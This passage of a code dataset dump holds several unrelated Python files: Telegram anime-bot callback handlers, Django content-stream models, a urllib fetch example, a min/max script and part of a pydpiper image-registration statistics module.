UserNotParticipant:\r\n await cq.answer()\r\n return\r\n if cus not in OWNER and str(k)==\"member\":\r\n await cq.answer(\"You don't have enough permissions to change this!!!\", show_alert=True)\r\n return\r\n await cq.answer()\r\n query = cq.data.split(\"_\")\r\n if await (SFW_GRPS.find_one({\"id\": int(query[2])})):\r\n sfw = \"NSFW: Not Allowed\"\r\n else:\r\n sfw = \"NSFW: Allowed\"\r\n if await (AG.find_one({\"_id\": int(query[2])})):\r\n notif = \"Airing notifications: ON\"\r\n else:\r\n notif = \"Airing notifications: OFF\"\r\n if await (CG.find_one({\"_id\": int(query[2])})):\r\n cr = \"Crunchyroll Updates: ON\"\r\n else:\r\n cr = \"Crunchyroll Updates: OFF\"\r\n if await (HD.find_one({\"_id\": int(query[2])})):\r\n hd = \"Headlines: ON\"\r\n else:\r\n hd = \"Headlines: OFF\"\r\n if await (SG.find_one({\"_id\": int(query[2])})):\r\n sp = \"Subsplease Updates: ON\"\r\n else:\r\n sp = \"Subsplease Updates: OFF\"\r\n if query[1]==\"sfw\":\r\n if await (SFW_GRPS.find_one({\"id\": int(query[2])})):\r\n await SFW_GRPS.find_one_and_delete({\"id\": int(query[2])})\r\n sfw = \"NSFW: Allowed\"\r\n else:\r\n await SFW_GRPS.insert_one({\"id\": int(query[2])})\r\n sfw = \"NSFW: Not Allowed\"\r\n if query[1]==\"notif\":\r\n if await (AG.find_one({\"_id\": int(query[2])})):\r\n await AG.find_one_and_delete({\"_id\": int(query[2])})\r\n notif = \"Airing notifications: OFF\"\r\n else:\r\n await AG.insert_one({\"_id\": int(query[2])})\r\n notif = \"Airing notifications: ON\"\r\n if query[1]==\"cr\":\r\n if await (CG.find_one({\"_id\": int(query[2])})):\r\n await CG.find_one_and_delete({\"_id\": int(query[2])})\r\n cr = \"Crunchyroll Updates: OFF\"\r\n else:\r\n await CG.insert_one({\"_id\": int(query[2])})\r\n cr = \"Crunchyroll Updates: ON\"\r\n if query[1]==\"sp\":\r\n if await (SG.find_one({\"_id\": int(query[2])})):\r\n await SG.find_one_and_delete({\"_id\": int(query[2])})\r\n sp = \"Subsplease Updates: OFF\"\r\n else:\r\n await SG.insert_one({\"_id\": int(query[2])})\r\n sp = \"Subsplease Updates: ON\"\r\n if query[1]==\"hd\":\r\n if await (HD.find_one({\"_id\": int(query[2])})):\r\n await HD.find_one_and_delete({\"_id\": int(query[2])})\r\n hd = \"Headlines: OFF\"\r\n else:\r\n await HD.insert_one({\"_id\": int(query[2])})\r\n hd = \"Headlines: ON\"\r\n btns = InlineKeyboardMarkup([\r\n [InlineKeyboardButton(text=sfw, callback_data=f\"settogl_sfw_{query[2]}\")],\r\n [InlineKeyboardButton(text=notif, callback_data=f\"settogl_notif_{query[2]}\")],\r\n [InlineKeyboardButton(text=cr, callback_data=f\"settogl_cr_{query[2]}\")],\r\n [InlineKeyboardButton(text=sp, callback_data=f\"settogl_sp_{query[2]}\")],\r\n [InlineKeyboardButton(text=hd, callback_data=f\"settogl_hd_{query[2]}\")],\r\n ])\r\n await cq.edit_message_reply_markup(reply_markup=btns)\r\n\r\n\r\n@anibot.on_callback_query(filters.regex(pattern=r\"myacc_(.*)\"))\r\n@check_user\r\nasync def flex_btn(client: anibot, cq: CallbackQuery, cdata: dict):\r\n await cq.answer()\r\n query = cdata['data'].split(\"_\")[1]\r\n user = cdata['data'].split(\"_\").pop()\r\n result = await get_user_activity(int(query), user=int(user))\r\n pic, msg, btns = result\r\n await cq.edit_message_media(InputMediaPhoto(pic, caption=msg), reply_markup=btns)\r\n\r\n\r\n@anibot.on_callback_query(filters.regex(pattern=r\"myfavs_(.*)\"))\r\n@check_user\r\nasync def list_favourites_btn(client: anibot, cq: CallbackQuery, cdata: dict):\r\n await cq.answer()\r\n q = cdata['data'].split(\"_\")\r\n btn = [[\r\n InlineKeyboardButton(\"ANIME\", callback_data=f\"myfavqry_ANIME_{q[1]}_1_{q[2]}_{q[3]}\"),\r\n InlineKeyboardButton(\"CHARACTER\", callback_data=f\"myfavqry_CHAR_{q[1]}_1_{q[2]}_{q[3]}\"),\r\n InlineKeyboardButton(\"MANGA\", callback_data=f\"myfavqry_MANGA_{q[1]}_1_{q[2]}_{q[3]}\")\r\n ]]\r\n if q[2] == \"yes\":\r\n btn.append([InlineKeyboardButton(\"Back\", callback_data=f\"getusrbc_{q[3]}\")])\r\n else:\r\n btn.append([InlineKeyboardButton(\"Profile\", url=f\"https://anilist.co/user/{q[1]}\")])\r\n await cq.edit_message_media(\r\n InputMediaPhoto(f\"https://img.anili.st/user/{q[1]}?a={time.time()}\", caption=\"Choose one of the below options\"),\r\n reply_markup=InlineKeyboardMarkup(btn)\r\n )\r\n\r\n\r\n@anibot.on_callback_query(filters.regex(pattern=r\"myfavqry_(.*)\"))\r\n@check_user\r\nasync def favourites_btn(client: anibot, cq: CallbackQuery, cdata: dict):\r\n await cq.answer()\r\n q = cdata['data'].split(\"_\")\r\n pic, msg, btns = await get_user_favourites(q[2], int(q[5]), q[1], q[3], q[4])\r\n await cq.edit_message_media(InputMediaPhoto(pic, caption=msg), reply_markup=btns)\r\n\r\n\r\n@anibot.on_callback_query(filters.regex(pattern=r\"getusrbc_(.*)\"))\r\n@check_user\r\nasync def get_user_back_btn(client: anibot, cq: CallbackQuery, cdata: dict):\r\n await cq.answer()\r\n query = cdata['data'].split(\"_\")[1]\r\n result = await get_user(None, \"flex\", user=int(query))\r\n pic, msg, btns = result\r\n await cq.edit_message_media(InputMediaPhoto(pic, caption=msg), reply_markup=btns)\r\n\r\n\r\n@anibot.on_callback_query(filters.regex(pattern=r\"fav_(.*)\"))\r\n@check_user\r\nasync def toggle_favourites_btn(client: anibot, cq: CallbackQuery, cdata: dict):\r\n query = cdata['data'].split(\"_\")\r\n if query[1]==\"ANIME\" and len(query)>4:\r\n try:\r\n ANIME_DB[query[3]]\r\n except KeyError:\r\n return await cq.answer(\"Query Expired!!!\\nCreate new one\", show_alert=True)\r\n if query[1]==\"MANGA\":\r\n try:\r\n MANGA_DB[query[3]]\r\n except KeyError:\r\n return await cq.answer(\"Query Expired!!!\\nCreate new one\", show_alert=True)\r\n idm = int(query[2])\r\n user = int(query.pop())\r\n rslt = await toggle_favourites(id_=idm, media=query[1], user=user)\r\n if rslt==\"ok\":\r\n await cq.answer(\"Updated\")\r\n else:\r\n return\r\n result = (\r\n (await get_anime({\"id\": idm}, auth=True, user=user)) if query[1]==\"ANIME\" and len(query)==3\r\n else (await get_anilist(query[3], page = int(query[4]), auth=True, user=user)) if query[1]==\"ANIME\" and len(query)!=3\r\n else (await get_manga(query[3], page = int(query[4]), auth=True, user=user)) if query[1]==\"MANGA\"\r\n else (await get_airing({\"id\": idm}, auth=True, user=user)) if query[1]==\"AIRING\"\r\n else (await get_character(query[3], int(query[4]), auth=True, user=user))\r\n )\r\n pic, msg = (\r\n (result[0], result[1]) if query[1]==\"ANIME\" and len(query)==3\r\n else (result[0]) if query[1]==\"AIRING\"\r\n else (result[0], result[1][0])\r\n )\r\n btns = get_btns(\r\n query[1],\r\n result=result,\r\n user=user,\r\n auth=True,\r\n lsqry=query[3] if len(query)!=3 else None,\r\n lspage=int(query[4]) if len(query)!=3 else None\r\n )\r\n await cq.edit_message_media(InputMediaPhoto(pic, caption=msg), reply_markup=btns)\r\n\r\n\r\n@anibot.on_callback_query(filters.regex(pattern=r\"(lsadd|lsupdt)_(.*)\"))\r\n@check_user\r\nasync def list_update_anilist_btn(client: anibot, cq: CallbackQuery, cdata: dict):\r\n stts_ls = [\"COMPLETED\", \"CURRENT\", \"PLANNING\", \"DROPPED\", \"PAUSED\", \"REPEATING\"]\r\n query = cdata['data'].split(\"_\")\r\n btns = []\r\n row = []\r\n for i in stts_ls:\r\n row.append(\r\n InlineKeyboardButton(\r\n text=i,\r\n callback_data=cq.data.replace(\"lsadd\", f\"lsas_{i}\") if query[0]==\"lsadd\" else cq.data.replace(\"lsupdt\", f\"lsus_{i}\")\r\n )\r\n )\r\n if len(row)==3:\r\n btns.append(row)\r\n row = []\r\n if query[0]==\"lsupdt\":\r\n btns.append([InlineKeyboardButton(\"Delete\", callback_data=cq.data.replace(\"lsupdt\", f\"dlt_{i}\"))])\r\n await cq.edit_message_reply_markup(reply_markup=InlineKeyboardMarkup(btns))\r\n\r\n\r\n@anibot.on_callback_query(filters.regex(pattern=r\"browse_(upcoming|trending|popular)_(.*)\"))\r\n@check_user\r\nasync def browse_btn(client: anibot, cq: CallbackQuery, cdata: dict):\r\n query = cdata['data'].split(\"_\")\r\n if '•' in query[1]:\r\n return\r\n msg = await browse_(query[1])\r\n up = 'Upcoming' if query[1]!='upcoming' else '• Upcoming •'\r\n tr = 'Trending' if query[1]!='trending' else '• Trending •'\r\n pp = 'Popular' if query[1]!='popular' else '• Popular •'\r\n btns = [[\r\n InlineKeyboardButton(tr, callback_data=f'browse_{tr.lower()}_{query[2]}'),\r\n InlineKeyboardButton(pp, callback_data=f'browse_{pp.lower()}_{query[2]}'),\r\n InlineKeyboardButton(up, callback_data=f'browse_{up.lower()}_{query[2]}'),\r\n ]]\r\n await cq.edit_message_text(msg, reply_markup=InlineKeyboardMarkup(btns))\r\n\r\n\r\n@anibot.on_callback_query(filters.regex(pattern=r\"(lsas|lsus|dlt)_(.*)\"))\r\n@check_user\r\nasync def update_anilist_btn(client: anibot, cq: CallbackQuery, cdata: dict):\r\n query = cdata['data'].split(\"_\")\r\n if query[2]==\"ANIME\":\r\n if len(query)==7:\r\n try:\r\n ANIME_DB[query[4]]\r\n except KeyError:\r\n return await cq.answer(\"Query Expired!!!\\nCreate new one\", show_alert=True)\r\n if len(query)==8:\r\n try:\r\n ANIME_DB[query[5]]\r\n except KeyError:\r\n return await cq.answer(\"Query Expired!!!\\nCreate new one\", show_alert=True)\r\n if query[2]==\"MANGA\":\r\n if len(query)==7:\r\n try:\r\n MANGA_DB[query[4]]\r\n except KeyError:\r\n return await cq.answer(\"Query Expired!!!\\nCreate new one\", show_alert=True)\r\n if len(query)==8:\r\n try:\r\n MANGA_DB[query[5]]\r\n except KeyError:\r\n return await cq.answer(\"Query Expired!!!\\nCreate new one\", show_alert=True)\r\n idm = int(query[3])\r\n user = int(query.pop())\r\n eid = None\r\n if query[0]!=\"lsas\":\r\n eid = int(query[4])\r\n rslt = await update_anilist(id_=idm, req=query[0], status=query[1], user=user, eid=eid)\r\n if rslt==\"ok\":\r\n await cq.answer(\"Updated\")\r\n else:\r\n await cq.answer(\"Something unexpected happened and operation failed successfully\", show_alert=True)\r\n return\r\n result = (\r\n (await get_anime({\"id\": idm}, auth=True, user=user)) if query[2]==\"ANIME\" and (len(query)==4 or len(query)==5)\r\n else (await get_anilist(query[4], page = int(query[5]), auth=True, user=user)) if query[2]==\"ANIME\" and len(query)==6\r\n else (await get_anilist(query[5], page = int(query[6]), auth=True, user=user)) if query[2]==\"ANIME\" and len(query)==7\r\n else (await get_manga(query[4], page = int(query[5]), auth=True, user=user)) if query[2]==\"MANGA\" and len(query)==6\r\n else (await get_manga(query[5], page = int(query[6]), auth=True, user=user)) if query[2]==\"MANGA\" and len(query)==7\r\n else (await get_airing({\"id\": idm}, auth=True, user=user))\r\n )\r\n pic, msg = (\r\n (result[0], result[1]) if query[2]==\"ANIME\" and (len(query)==4 or len(query)==5)\r\n else (result[0]) if query[2]==\"AIRING\"\r\n else (result[0], result[1][0])\r\n )\r\n btns = get_btns(\r\n query[2],\r\n result=result,\r\n user=user,\r\n auth=True,\r\n lsqry=query[4] if len(query)==6 else query[5] if len(query)==7 else None,\r\n lspage=int(query[5]) if len(query)==6 else int(query[6]) if len(query)==7 else None\r\n )\r\n await cq.edit_message_media(InputMediaPhoto(pic, caption=msg), reply_markup=btns)\r\n\r\n\r\n@anibot.on_callback_query(filters.regex(pattern=r\"(desc|ls|char)_(.*)\"))\r\n@check_user\r\nasync def additional_info_btn(client: anibot, cq: CallbackQuery, cdata: dict):\r\n await cq.answer()\r\n q = cdata['data'].split(\"_\")\r\n kek, query, ctgry = q[0], q[1], q[2]\r\n info = (\r\n \"Description\"\r\n if kek == \"desc\"\r\n else \"Series List\"\r\n if kek == \"ls\"\r\n else \"Characters List\"\r\n )\r\n page = 0\r\n lsqry = f\"_{q[3]}\" if len(q) > 6 else \"\"\r\n lspg = f\"_{q[4]}\" if len(q) > 6 else \"\"\r\n if kek == 'char':\r\n page = q[6] if len(q) > 6 else q[4]\r\n rjsdata = await get_additional_info(query, kek, ctgry, page=int(page))\r\n pic, result = rjsdata[0], rjsdata[1]\r\n button = []\r\n spoiler = False\r\n bot = BOT_NAME.replace(\"@\", \"\")\r\n try:\r\n if \"~!\" in result and \"!~\" in result:\r\n result = re.sub(r\"~!.*!~\", \"[Spoiler]\", result)\r\n spoiler = True\r\n button.append([InlineKeyboardButton(text=\"View spoiler\", url=f\"https://t.me/{bot}/?start=des_{ctgry}_{query}\")])\r\n except TypeError:\r\n await cq.answer('No description available!!!')\r\n return\r\n if len(result) > 1000:\r\n result = result[:940] + \"...\"\r\n if spoiler is False:\r\n result += \"\\n\\nFor more info click below given button\"\r\n button.append([InlineKeyboardButton(text=\"More Info\", url=f\"https://t.me/{bot}/?start=des_{ctgry}_{query}\")])\r\n add_ = \"\"\r\n user = q.pop()\r\n if kek=='char':\r\n btndata = rjsdata[2]\r\n if btndata['lastPage']!=1:\r\n if page == '1':\r\n button.append([InlineKeyboardButton(text=\"Next\", callback_data=f'{kek}_{query}_{ctgry}{lsqry}{lspg}_{q[5] if len(q) != 5 else q[3]}_{int(page)+1}_{user}')])\r\n elif btndata['lastPage']==int(page):\r\n button.append([InlineKeyboardButton(text=\"Prev\", callback_data=f'{kek}_{query}_{ctgry}{lsqry}{lspg}_{q[5] if len(q) != 5 else q[3]}_{int(page)-1}_{user}')])\r\n else:\r\n button.append([\r\n InlineKeyboardButton(text=\"Prev\", callback_data=f'{kek}_{query}_{ctgry}{lsqry}{lspg}_{q[5] if len(q) != 5 else q[3]}_{int(page)-1}_{user}'),\r\n InlineKeyboardButton(text=\"Next\", callback_data=f'{kek}_{query}_{ctgry}{lsqry}{lspg}_{q[5] if len(q) != 5 else q[3]}_{int(page)+1}_{user}')\r\n ])\r\n add_ = f\"\\n\\nTotal Characters: {btndata['total']}\"\r\n msg = f\"{info}:\\n\\n{result+add_}\"\r\n cbd = (\r\n f\"btn_{query}_{q[3]}_{user}\" if len(q) <= 5\r\n else f\"page_ANIME{lsqry}{lspg}_{q[5]}_{user}\" if ctgry==\"ANI\"\r\n else f\"page_CHARACTER{lsqry}{lspg}_{q[5]}_{user}\"\r\n )\r\n button.append([InlineKeyboardButton(text=\"Back\", callback_data=cbd)])\r\n await cq.edit_message_media(InputMediaPhoto(pic, caption=msg), reply_markup=InlineKeyboardMarkup(button))\r\n\r\n\r\n@anibot.on_callback_query(filters.regex(pattern=r\"lsc_(.*)\"))\r\n@check_user\r\nasync def featured_in_btn(client: anibot, cq: CallbackQuery, cdata: dict):\r\n kek, idm, qry, pg, auth, user = cdata['data'].split(\"_\")\r\n result = await get_featured_in_lists(int(idm), \"ANI\")\r\n req = \"lscm\"\r\n if result[0] is False:\r\n result = await get_featured_in_lists(int(idm), \"MAN\")\r\n req = None\r\n if result[0] is False:\r\n await cq.answer(\"No Data Available!!!\")\r\n return\r\n [msg, total], pic = result\r\n button = []\r\n totalpg, kek = divmod(total, 15)\r\n if kek!=0:\r\n totalpg + 1\r\n if total>15:\r\n button.append([InlineKeyboardButton(text=\"Next\", callback_data=f\"lsca_{idm}_1_{qry}_{pg}_{auth}_{user}\")])\r\n if req is not None:\r\n button.append([InlineKeyboardButton(text=\"Manga\", callback_data=f\"lscm_{idm}_0_{qry}_{pg}_{auth}_{user}\")])\r\n button.append([InlineKeyboardButton(text=\"Back\", callback_data=f\"page_CHARACTER_{qry}_{pg}_{auth}_{user}\")])\r\n await cq.edit_message_media(InputMediaPhoto(pic, caption=msg), reply_markup=InlineKeyboardMarkup(button))\r\n\r\n\r\n@anibot.on_callback_query(filters.regex(pattern=r\"lsc(a|m)_(.*)\"))\r\n@check_user\r\nasync def featured_in_switch_btn(client: anibot, cq: CallbackQuery, cdata: dict):\r\n req, idm, reqpg, qry, pg, auth, user = cdata['data'].split(\"_\")\r\n result = await get_featured_in_lists(int(idm), \"MAN\" if req==\"lscm\" else \"ANI\", page=int(reqpg))\r\n reqb = \"lsca\" if req==\"lscm\" else \"lscm\"\r\n bt = \"Anime\" if req==\"lscm\" else \"Manga\"\r\n if result[0] is False:\r\n await cq.answer(\"No Data Available!!!\")\r\n return\r\n [msg, total], pic = result\r\n totalpg, kek = divmod(total, 15)\r\n if kek!=0:\r\n totalpg + 1\r\n button = []\r\n if total>15:\r\n if int(reqpg)==0:\r\n button.append([InlineKeyboardButton(text=\"Next\", callback_data=f\"{req}_{idm}_{int(reqpg)+1}_{qry}_{pg}_{auth}_{user}\")])\r\n elif int(reqpg)==totalpg:\r\n button.append([InlineKeyboardButton(text=\"Back\", callback_data=f\"{req}_{idm}_{int(reqpg)-1}_{qry}_{pg}_{auth}_{user}\")])\r\n else:\r\n button.append(\r\n [\r\n InlineKeyboardButton(text=\"Back\", callback_data=f\"{req}_{idm}_{int(reqpg)-1}_{qry}_{pg}_{auth}_{user}\"),\r\n InlineKeyboardButton(text=\"Next\", callback_data=f\"{req}_{idm}_{int(reqpg)+1}_{qry}_{pg}_{auth}_{user}\")\r\n ]\r\n )\r\n button.append([InlineKeyboardButton(text=f\"{bt}\", callback_data=f\"{reqb}_{idm}_0_{qry}_{pg}_{auth}_{user}\")])\r\n button.append([InlineKeyboardButton(text=\"Back\", callback_data=f\"page_CHARACTER_{qry}_{pg}_{auth}_{user}\")])\r\n await cq.edit_message_media(InputMediaPhoto(pic, caption=msg), reply_markup=InlineKeyboardMarkup(button))\r\n\r\n\r\n@anibot.on_callback_query(filters.regex(pattern=r\"confirm_(.*)\"))\r\nasync def confirm_user(client: anibot, cq: CallbackQuery):\r\n user = cq.from_user.id\r\n chat = cq.message.chat.id\r\n try:\r\n k = (await client.get_chat_member(chat, user)).status\r\n except UserNotParticipant:\r\n key = cq.data.split('_', 1)[1]\r\n func, message, mdata = ANON_JSON[key]\r\n mdata['from_user'] = cq.from_user\r\n await cq.message.delete()\r\n await func(client, message, mdata)\r\n return\r\n if str(k)==\"member\":\r\n await cq.answer(\"You didnt made this query!!!\", show_alert=True)\r\n return\r\n","sub_path":"anibot/plugins/anilist.py","file_name":"anilist.py","file_ext":"py","file_size_in_byte":43491,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"541744988","text":"from django.contrib.contenttypes.models import ContentType\nfrom django.db import models\nfrom django.utils import timezone\nfrom django.utils.translation import ugettext_lazy as _\nfrom doozy_lite.managers import StreamableManager\nimport os\nimport sys\n\nclass Streamable (models.Model):\n CHANGEFREQ_OPTIONS = (\n ('never', _('Never')),\n ('yearly', _('Yearly')),\n ('monthly', _('Monthly')),\n ('weekly', _('Weekly')),\n ('daily', _('Daily')),\n ('hourly', _('Hourly')),\n ('always', _('Always')),\n )\n\n PRIORITY_OPTIONS = (\n (0.0, 0.0),\n (0.1, 0.1),\n (0.2, 0.2),\n (0.3, 0.3),\n (0.4, 0.4),\n (0.5, 0.5),\n (0.6, 0.6),\n (0.7, 0.7),\n (0.8, 0.8),\n (0.9, 0.9),\n (1.0, 1.0),\n )\n\n subclass = models.ForeignKey(ContentType, related_name='streamables', verbose_name=_('subclass'))\n show_in_stream = models.BooleanField(_('show in stream'), default=True, help_text=_('When checked, this content will appear in your stream.'))\n publish_date = models.DateTimeField(_('publish date'), default=timezone.now, help_text=_('At what date and time should this content become visible?'))\n created_date = models.DateTimeField(_('date created'), auto_now_add=True)\n last_modified = models.DateTimeField(_('last modified'), editable=False)\n last_viewed = models.DateTimeField(_('last viewed'), blank=True, editable=False, null=True)\n view_count = models.PositiveIntegerField(_('views'), default=0, editable=False)\n changefreq = models.CharField(_('sitemap change frequency'), choices=CHANGEFREQ_OPTIONS, default='monthly', help_text=_('How often should search engines index this content?'), max_length=7)\n priority = models.FloatField(_('sitemap priority'), choices=PRIORITY_OPTIONS, default=0.5, help_text=_('How important is this relative to your other content? 1.0 is highest.'))\n\n objects = models.Manager()\n stream = StreamableManager()\n\n class Meta:\n get_latest_by = 'publish_date'\n ordering = ('-publish_date',)\n\n def __unicode__(self):\n return _('Streamable #%(id)d') % {'id': self.pk}\n __unicode__.admin_order_field = 'pk'\n\n def cache_key(self):\n \"\"\"\n Returns a cache key unique to this Streamable instance that changes when\n the `last_modified` field is updated.\n \"\"\"\n return '%s-%d-%d-%s' % (self.__class__.__name__, self.subclass_id, self.pk, self.last_modified.strftime('%Y%m%d%H%M%S'))\n\n @property\n def resolved(self):\n \"\"\"\n Returns the concrete subclass object for this Streamable. If this object\n is already a subclass of Streamable, it simply returns self.\n \"\"\"\n clz = self.subclass.model_class()\n if self.__class__ is clz:\n return self\n return getattr(self, self.subclass.model)\n\n def save(self, **kwargs):\n assert self.__class__ is not Streamable, 'Attempted to save a bare Streamable model.'\n self.subclass = ContentType.objects.get_for_model(self.__class__)\n if kwargs.pop('set_date', True):\n self.last_modified = timezone.now()\n super(Streamable, self).save(**kwargs)\n\nclass Post (Streamable):\n title = models.CharField(_('title'), max_length=200)\n slug = models.SlugField(_('slug'), unique=True)\n body = models.TextField(_('body'), blank=True)\n\n objects = models.Manager()\n stream = StreamableManager()\n\n class Meta:\n ordering = ('-publish_date', 'title')\n verbose_name = _('post')\n verbose_name_plural = _('posts')\n\n def __unicode__(self):\n return self.title\n __unicode__.admin_order_field = 'title'\n\nclass Song (Streamable):\n title = models.CharField(_('title'), max_length=200)\n slug = models.SlugField(_('slug'), unique=True)\n # This could be greatly enhanced through the existence of an AudioField type\n # that takes a lossless audio file and encodes it in a variety of formats.\n # A regular FileField will have to suffice for now, though.\n song = models.FileField(_('song'), max_length=200, upload_to='songs/%Y/%m/%d')\n lyrics = models.TextField(_('lyrics'), blank=True)\n\n objects = models.Manager()\n stream = StreamableManager()\n\n class Meta:\n ordering = ('-publish_date', 'title')\n verbose_name = _('song')\n verbose_name_plural = _('songs')\n\n def __unicode__(self):\n return self.title\n __unicode__.admin_order_field = 'title'\n\n @property\n def filename(self):\n return os.path.basename(self.song.name)\n\nclass Album (Streamable):\n title = models.CharField(_('title'), max_length=200)\n slug = models.SlugField(_('slug'), unique=True)\n cover = models.ImageField(_('cover image'), blank=True, height_field='cover_height', max_length=200, upload_to='albums', width_field='cover_width')\n cover_width = models.PositiveIntegerField(default=0, editable=False)\n cover_height = models.PositiveIntegerField(default=0, editable=False)\n liner_notes = models.FileField(_('liner notes'), blank=True, max_length=200, upload_to='albums')\n release_date = models.DateField(_('date released'), default=timezone.now)\n description = models.TextField(_('description'), blank=True)\n songs = models.ManyToManyField(Song, blank=True, related_name='albums', through='AlbumSong')\n\n objects = models.Manager()\n stream = StreamableManager()\n\n class Meta:\n ordering = ('-release_date', 'title')\n verbose_name = _('album')\n verbose_name_plural = _('albums')\n\n def __unicode__(self):\n return self.title\n __unicode__.admin_order_field = 'title'\n\n @property\n def cover_filename(self):\n return os.path.basename(self.cover.name)\n\n @property\n def liner_notes_filename(self):\n return os.path.basename(self.liner_notes.name)\n\nclass AlbumSong (models.Model):\n album = models.ForeignKey(Album)\n song = models.ForeignKey(Song)\n disc_number = models.PositiveIntegerField(_('disc number'), default=1)\n track_number = models.PositiveIntegerField(_('track number'))\n\nclass Photo (Streamable):\n photo = models.ImageField(_('photo'), height_field='height', max_length=200, upload_to='photos/%Y/%m/%d', width_field='width')\n width = models.PositiveIntegerField(default=0, editable=False)\n height = models.PositiveIntegerField(default=0, editable=False)\n caption = models.TextField(_('caption'), blank=True)\n\n objects = models.Manager()\n stream = StreamableManager()\n\n class Meta:\n ordering = ('-publish_date',)\n verbose_name = _('photo')\n verbose_name_plural = _('photos')\n\n def __unicode__(self):\n return self.filename\n __unicode__.admin_order_field = 'photo'\n\n @property\n def filename(self):\n return os.path.basename(self.photo.name)\n\nclass Gallery (Streamable):\n title = models.CharField(_('title'), max_length=200)\n slug = models.SlugField(_('slug'), unique=True)\n description = models.TextField(_('description'), blank=True)\n photos = models.ManyToManyField(Photo, blank=True, related_name='galleries', through='GalleryPhoto')\n\n objects = models.Manager()\n stream = StreamableManager()\n\n class Meta:\n ordering = ('-publish_date', 'title')\n verbose_name = _('gallery')\n verbose_name_plural = _('galleries')\n\n def __unicode__(self):\n return self.title\n __unicode__.admin_order_field = 'title'\n\nclass GalleryPhoto (models.Model):\n gallery = models.ForeignKey(Gallery)\n photo = models.ForeignKey(Photo)\n display_order = models.PositiveIntegerField(_('display order'))","sub_path":"doozy_lite/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":7626,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"16057251","text":"# !/usr/bin/env python\n# _*_ coding:utf-8 _*_\n\n\nimport urllib.request\n\n\ndef load_data():\n\n url = 'http://www.baidu.com'\n # 获取响应对象\n response = urllib.request.urlopen(url)\n print(type(response))\n # print(response)\n # 二进制文件\n print(response.read())\n # 打印网页\n data = response.read()\n data = data.decode()\n print(data)\n\n\nif __name__ == '__main__':\n load_data()","sub_path":"scrapy_lian/learn02/urllib_use.py","file_name":"urllib_use.py","file_ext":"py","file_size_in_byte":419,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"222753905","text":"import sys\nfrom typing import Sequence\n\ndef min_max_range(values: Sequence[int]) -> (int, int, int):\n min_val = min(values)\n max_val = max(values)\n return (min_val, max_val, max_val - min_val)\n\nfor ndx, line in enumerate(sys.stdin):\n print(f\"Case {ndx + 1}: \", end='')\n numbers = list(map(int, line.split()))[1:]\n result = min_max_range(numbers)\n print(' '.join(map(str, list(result))))\n\n# from 387.1 rank 966 to 388.8 961\n","sub_path":"python/1_7/stats.py","file_name":"stats.py","file_ext":"py","file_size_in_byte":444,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"123678322","text":"from __future__ import print_function\nfrom pydpiper.pipeline import Pipeline, CmdStage, InputFile, OutputFile, LogFile\nfrom atoms_and_modules.registration_functions import isFileHandler\nfrom atoms_and_modules.minc_atoms import xfmConcat, xfmInvert\nimport pydpiper.file_handling as fh\nimport sys\n\ndef addStatsArguments(parser):\n group = parser.add_argument_group(\"Statistics options\", \n \"Options for calculating statistics.\")\n group.add_argument(\"--calc-stats\", dest=\"calc_stats\",\n action=\"store_true\",\n help=\"Calculate statistics at the end of the registration. [Default]\")\n group.add_argument(\"--no-calc-stats\", dest=\"calc_stats\",\n action=\"store_false\", \n help=\"If specified, statistics are not calculated. Opposite of --calc-stats.\")\n group.add_argument(\"--stats-kernels\", dest=\"stats_kernels\",\n type=str, default=\"1.0,0.5,0.2,0.1\", \n help=\"comma separated list of blurring kernels for analysis. Default is: 1.0,0.5,0.2,0.1\")\n parser.set_defaults(calc_stats=True)\n parser.add_argument_group(group)\n \ndef createOutputFileName(iFH, xfm, outputDir, nameExt):\n outDir = iFH.setOutputDirectory(outputDir)\n outBase = fh.removeBaseAndExtension(xfm) + nameExt\n outputFile = fh.createBaseName(outDir, outBase)\n return outputFile\n\nclass StatsGroup(object):\n \"\"\"This group saves the key output from each instance for CalcStats, \n so it can easily be retrieved later.\"\"\"\n def __init__(self):\n self.relativeJacobians = {}\n self.absoluteJacobians = {} \n \nclass CalcStats(object):\n \"\"\"Statistics calculation between an input and target. \n This class calculates multiple displacement fields, relative and absolute jacobians. \n General functionality as follows:\n 1. Class instantiated with input, target and statsKernels. Note that here, the statsKernels \n specified are blurs used to smooth the displacement fields prior to additional calculations. \n They may be a string of comma separated values or an array of doubles. \n 2. An additional transform may also be included to calculate absolute \n jacobians to a different space, as is described in the __init__ function, \n documentation and elsewhere in the code. \n 3. If needed, invert transform between input and target in setupXfms(). This is necessary\n as this class assumes that the target is the reference space, from which all stats\n are calculated. \n 4. Call fullStatsCalc. This calculates linear and \n pure nonlinear displacement before calculating jacobians. \n 5. Ability to recenter displacements using an average may be re-added in the future. \n \"\"\"\n def __init__(self, inputFH, targetFH, statsKernels, additionalXfm=None):\n self.p = Pipeline()\n self.inputFH = inputFH\n self.targetFH = targetFH\n self.blurs = []\n self.setupBlurs(statsKernels)\n self.statsGroup = StatsGroup()\n self.setupXfms()\n \"\"\" additionalXfm is an optional transform that may be specified. If it is, \n it is concatenated with the lastXfm from input to target. This additional\n transform must also be in the same direction as the lastXfm (e.g. input to target)\n Example usage: if the lastXfm from input to target goes from lsq12 to nlin space\n and you would like to calculate the absolute jacobians to lsq6 space, the additional\n transform specified may be the lsq6 to lsq12 transform from input to target. \n \"\"\"\n self.additionalXfm = additionalXfm\n self.fullStatsCalc()\n \n def setupBlurs(self, statsKernels):\n if isinstance(statsKernels, list):\n self.blurs = statsKernels\n elif isinstance(statsKernels, str):\n for i in statsKernels.split(\",\"):\n self.blurs.append(float(i))\n else:\n print(\"Improper type of blurring kernels specified for stats calculation: \" + str(statsKernels))\n sys.exit()\n \n def setupXfms(self):\n self.xfm = self.inputFH.getLastXfm(self.targetFH)\n if not self.xfm:\n print(\"Cannot calculate statistics. No transform between input and target specified.\")\n print(\"Input: \" + self.inputFH.getLastBasevol())\n print(\"Target: \" + self.targetFH.getLastBasevol())\n sys.exit()\n else:\n self.invXfm = self.targetFH.getLastXfm(self.inputFH)\n if not self.invXfm:\n xi = xfmInvert(self.xfm, FH=self.inputFH)\n self.p.addStage(xi)\n self.invXfm = xi.outputFiles[0]\n \n def fullStatsCalc(self):\n self.linAndNlinDisplacement()\n 